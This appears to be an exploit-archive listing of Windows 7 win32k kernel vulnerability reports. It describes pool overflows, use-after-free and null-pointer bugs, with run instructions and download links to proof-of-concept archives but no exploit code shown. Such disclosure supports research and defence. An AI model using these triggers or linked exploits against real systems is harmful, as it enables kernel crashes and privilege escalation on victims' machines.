Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38281.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=415

---
Tested on Win 7 32-bit with Special Pool enabled. 

Multiple pool buffer overflows can be triggered through the NtGdiStretchBlt system call. The attached PoC demonstrates a write overflow and another read over flow issue which is likely to be usable for memory leaks (enabled by uncommenting the first NtGdiStretchBlt call).
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38280.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=457

---
The attached testcase crashes Win 7 with Special Pool enabled while accessing the freed global cursor object (_gpqCursor). See poc.cpp for instructions on how to compile and run.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38278.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=293

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with two caveats:
- PoC will NOT work if compiled as a debug build.
- PoC will trigger the condition every time but the subsequent corruption might not cause a crash every time. It may be necessary to run the PoC multiple times.

debug.txt is a sample crash log.

Analysis from Nils:

---
Using the series of calls we are able to free the bitmap object, a reference to this object still exists in the trigger process after killing the first notepad process.

At this time we are able to replace the freed object in memory. We are not able to reuse this object through the original handle, however another free is triggered when quitting the trigger process, which will decrement the reference counter on the freed or replaced object, either modifying heap metadata or freeing the object which was allocated in the place of the original bitmap object.
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38275.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=294

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with a caveat
- PoC might NOT work if compiled as a debug build.

windbg.txt is a sample crash log.

Analysis from Nils:

---
please find attached a C trigger, windbg output and the minimised testcase of a null pointer issue (exploitable on Win 7 32-bit). The trigger also demonstrates that the null page can be mapped in user mode and accessed from kernel mode.

Quick analysis:

The trigger creates a new window station which is freed during the process clean up. Through the clipboard operations the window's last reference is hold by the clipboard which is freed during the clean up of the window station object. This will also result in destroying the window object at a time where _gptiCurrent (threadinfo) is already set to null. This is used in xxxDestroyWindow in multiple locations. Depending on the window type it is potentially possible to trigger different kinds of crashes, this one demonstrates a write to a chosen memory location:

win32k!HMChangeOwnerThread+0x40:
96979765 ff412c          inc     dword ptr [ecx+2Ch]  ds:0023:bebebeea=????????
---

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38274.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=295

Platform: Win7 32-bit.
trigger.cpp should fire the issue, with caveats:
- PoC MUST be compiled in release mode.
- PoC may need to be run a few times to trigger the crash.

Analysis is attached as a text file.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38273.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=312

This issue is very likely a null pointer issue affecting 32-bit Windows version. The offset is from add onto another offset which isn't quite zero, so not 100% convinced it is just a null pointer, however I wasn't able to influence the values. because it was very straight forward to get EIP there is a PoC setting EIP to 0xdeadbeef
Debug output attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38271.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=304

Creating a device context with the flag (DCX_NORESETATTRS) and selecting a brush object into the device context will result in the brush being freed on process exit without the reference to the object being cleared. The PoC consists of two files (prime304.cpp  and poc304.cpp). poc304 will execute prime304, which triggers the issue and allows poc304 to retrieve a handle to the device context with the pointer to the freed object. We can confirm this by requesting the handle for the brush object from the device context, resulting in reading freed memory. In some cases the issue leads to memory corruption when for example another object is allocated into the space of the free brush object (see attached crash logs for examples).

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38272.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=313

The PoC triggers a pool buffer overflow in win32k!vSolidFillRect. When using Special Pool we get the crash immediately on the overwrite. Without Special Pool we often get a crash in the same function, but sometimes it crashes in a different function (similar to another issue, however with a different offset). This might be a result of the memory corruption or an out-of-memory condition before the overflow is triggered. Debugger output for all three different crashes attached.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38270.zip